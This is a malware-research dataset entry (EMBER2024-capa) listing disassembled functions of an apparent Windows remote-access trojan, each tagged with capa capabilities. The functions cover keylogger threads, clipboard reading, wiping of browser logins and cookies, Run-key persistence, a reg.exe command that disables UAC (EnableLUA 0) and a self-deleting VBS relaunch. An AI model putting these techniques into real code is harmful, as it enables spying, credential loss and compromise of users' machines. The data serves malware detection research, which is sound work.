joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4093d2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40946c
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402076
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.00417cca
mov ecx, esi
call fcn.0040964b
lea ecx, [ebp - 0x18]
call fcn.00401fb9
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402076
sub esp, 0x18
mov ecx, esp
push 0x460638
call fcn.00402076
call fcn.00417670
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x409460
cmp dword [esi], ebx
jne 0x409454
push ebx
push ebx
push esi
push 0x408866
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x408890
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40889f
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409c0e
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x409c35
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x409c35
push esi
jmp 0x409c3a
push 0x46079c
mov ecx, dword [ebp + 8]
call fcn.00404260
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret 4

Function at 0x409da8
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
xor ebx, ebx
push ebx
push 0x408881
mov byte [0x46e3f9], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x46e3b0]
test eax, eax
je 0x409ddf
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x408866
mov dword [0x46e3b0], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, 0x46e3b0
pop ebx
jmp fcn.00409d6b

Function at 0x409f29
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x460ce4
call fcn.00437afa
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402076
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.004076bb
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x18]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x409f90
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x409f84
sub eax, 1
je 0x409f84
xor bl, bl
jmp 0x409fa9
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x409f9a
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402076
call fcn.0040a724
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb9
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409fb8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x460ce4
call fcn.00437afa
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402076
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.004076bb
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x18]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a01f
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40a013
sub eax, 1
je 0x40a013
xor bl, bl
jmp 0x40a038
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40a029
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402076
call fcn.0040a724
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb9
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a047
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020c7
lea ecx, [ebp - 0x48]
call fcn.004020c7
lea ecx, [ebp - 0x18]
call fcn.004020c7
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402076
push eax
push 0x460ce4
call fcn.00437afa
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004053f2
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc3
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x78]
call fcn.00401fb9
lea eax, [ebp - 0x1d0]
push eax
push 0x460ca4
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004076df
pop ecx
mov ecx, eax
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fb9
cmp esi, 0xffffffff
jne 0x40a20f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402076
call fcn.0040a724
add esp, 0x18
jmp 0x40a243
test byte [ebp - 0x1d0], 0x10
je 0x40a20f
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x40a126
movzx eax, byte [ecx + 1]
test al, al
je 0x40a20f
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x460e04
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x40a14c
inc ecx
cmp ecx, 3
jne 0x40a12e
xor eax, eax
jmp 0x40a151
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a20f
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.004076df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004076bb
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fc3
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x90]
call fcn.00401fb9
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.004076df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.004076bb
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fc3
lea ecx, [ebp - 0x90]
call fcn.00401fb9
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x60]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a1f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a20f
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a102
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402076
call fcn.0040a724
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fb9
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea ecx, [ebp - 0x60]
call fcn.00401fb9
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a262
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020c7
lea ecx, [ebp - 0x18]
call fcn.004020c7
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402076
push eax
push 0x460ce4
call fcn.00437afa
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004053f2
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fc3
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea ecx, [ebp - 0x60]
call fcn.00401fb9
lea eax, [ebp - 0x1b8]
push eax
push 0x460ca4
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004076df
pop ecx
mov ecx, eax
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fb9
cmp esi, 0xffffffff
jne 0x40a312
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402076
call fcn.0040a724
add esp, 0x18
jmp 0x40a40c
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40a3ee
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x40a3d8
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x40a34e
movzx eax, byte [ecx + 1]
test al, al
je 0x40a3d8
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x460e04
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x40a374
inc ecx
cmp ecx, 3
jne 0x40a356
mov eax, ebx
jmp 0x40a379
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a3d8
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004076df
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004076bb
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fc3
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea ecx, [ebp - 0x78]
call fcn.00401fb9
lea ecx, [ebp - 0x30]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a42f
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40a426
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a32a
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402076
call fcn.0040a724
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fb9
lea ecx, [ebp - 0x30]
call fcn.00401fb9
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40a40e
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40a300
Function at 0x40a43e
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020c7
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, connect
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.00410911
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fc3
lea ecx, [ebp - 0x30]
call fcn.00401fb9
mov edx, 0x460734
lea ecx, [ebp - 0x18]
call fcn.00405c1b
test al, al
je 0x40a4ab
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402076
call fcn.0040a724
mov bl, 1
jmp 0x40a545
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f87
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a490
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402076
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00417cca
mov ecx, eax
call fcn.00401edd
mov ecx, eax
call fcn.00418144
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401fb9
test esi, esi
je 0x40a524
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40a49a
push ecx
push ecx
call fcn.0040a748
test eax, eax
je 0x40a548
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402076
call fcn.0040a724
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fb9
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a6ae
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x46daec], cl
push edi
mov dword [0x46dae8], eax
test cl, cl
je 0x40a70b
mov edi, 0x460f78
mov dword [ebp - 4], esi
mov ebx, 0x46e5a8
push edi
mov ecx, ebx
call fcn.00401f87
mov edx, eax
call fcn.0041086a
pop ecx
test al, al
je 0x40a70b
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f87
mov edx, eax
call fcn.004108b4
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40a70b
xor al, al
jmp 0x40a71d
push esi
push esi
push esi
push 0x40a558
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a8ba
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [0x46daf6], 1
push ebx
mov bh, byte [0x46daf4]
mov bl, byte [0x46daef]
push esi
push edi
mov edi, 0x4604d4
jne 0x40a91c
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46e590
call fcn.00409e9e
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403098
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00410b7b
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ee2
cmp bl, 1
jne 0x40a960
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46e590
call fcn.00409e9e
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403098
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, connect
call fcn.00410b7b
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ee2
cmp bh, 1
jne 0x40a9a4
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46e590
call fcn.00409e9e
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403098
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.00410b7b
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ee2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b4ac
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00410199
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.hrutguv
mov ecx, 0x46e5a8
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
xor edi, edi
test al, al
jne 0x40b50c
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00417a83
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00417cca
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea eax, [ebp - 0x78]
push eax
push 0x4609b8
push 0x461088
call fcn.00437aef
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040440a
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401f5f
push 0x46112c
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.00404260
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x90]
call fcn.00401ee2
lea ecx, [ebp - 0xa8]
call fcn.00401ee2
lea ecx, [ebp - 0xc0]
call fcn.00401ee2
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040778c
push edi
lea ecx, [ebp - 0x60]
call fcn.00401edd
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247b
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40b677
push edi
mov eax, 0x46079c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401edd
push eax
push 0x46075c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b677
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x78]
call fcn.00401ee2
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d25b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004020c7
call fcn.00418004
push 0
push 2
mov byte [0x46dea8], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40d439
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40d41c
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.00404260
mov ecx, dword [ebp - 0x378]
push 0x4616b4
call fcn.00418032
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.00417c16
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x4616b8
call fcn.00417c16
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x4616b8
call fcn.00418068
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.00417d8c
push eax
push 0x4616b8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.00417d8c
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.00407653
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.004076bb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402f0f
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004076bb
pop ecx
push eax
mov ecx, edi
call fcn.00401fc3
lea ecx, [ebp - 0x30]
call fcn.00401fb9
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea ecx, [ebp - 0x60]
call fcn.00401fb9
lea ecx, [ebp - 0x78]
call fcn.00401fb9
lea ecx, [ebp - 0x90]
call fcn.00401fb9
lea ecx, [ebp - 0xa8]
call fcn.00401fb9
lea ecx, [ebp - 0xc0]
call fcn.00401fb9
lea ecx, [ebp - 0xd8]
call fcn.00401fb9
lea ecx, [ebp - 0xf0]
call fcn.00401fb9
lea ecx, [ebp - 0x108]
call fcn.00401fb9
lea ecx, [ebp - 0x120]
call fcn.00401ee2
lea ecx, [ebp - 0x138]
call fcn.00401fb9
lea ecx, [ebp - 0x150]
call fcn.00401fb9
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40d2a8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d441
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.00432d80
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x10]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e271
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40e3a7
cmp byte [edi + 0x3d], bl
je 0x40e3a7
call fcn.00402f0b
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.0040b799
pop ecx
pop ecx
test al, al
je 0x40e2c6
xor al, al
jmp 0x40e3a9
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.004052fd
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.004024bd
mov ecx, eax
call fcn.0040345b
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.0040247b
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.004024bd
mov ecx, eax
call fcn.0040345b
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.0040bb4b
sub eax, ebx
je 0x40e32e
sub eax, 1
je 0x40e331
dec eax
sub eax, 1
jne 0x40e39a
inc eax
jmp 0x40e398
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.004024bd
mov ecx, eax
call fcn.0040345b
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40e376
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.004024bd
mov ecx, eax
call fcn.0040345b
push eax
call fcn.00438861
add esp, 0x10
cmp esi, eax
jne 0x40e396
cmp byte [edi + 0x3d], bl
je 0x40e394
test esi, esi
jne 0x40e2d2
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00402a84
jmp 0x40e2d2
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00401fb9
mov al, bl
jmp 0x40e3a9
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410199
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x46dd44]
mov byte [0x46dd42], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x46dd44]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x41086a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4108ad
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x4108af
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4108b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41090b
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x41090d
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x410911
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41096a
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
jmp 0x41096f
push 0x460734
mov ecx, esi
call fcn.00402076
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41097d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push 0x466bfc
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4109da
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x4109df
push 0x46079c
mov ecx, esi
call fcn.00404260
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret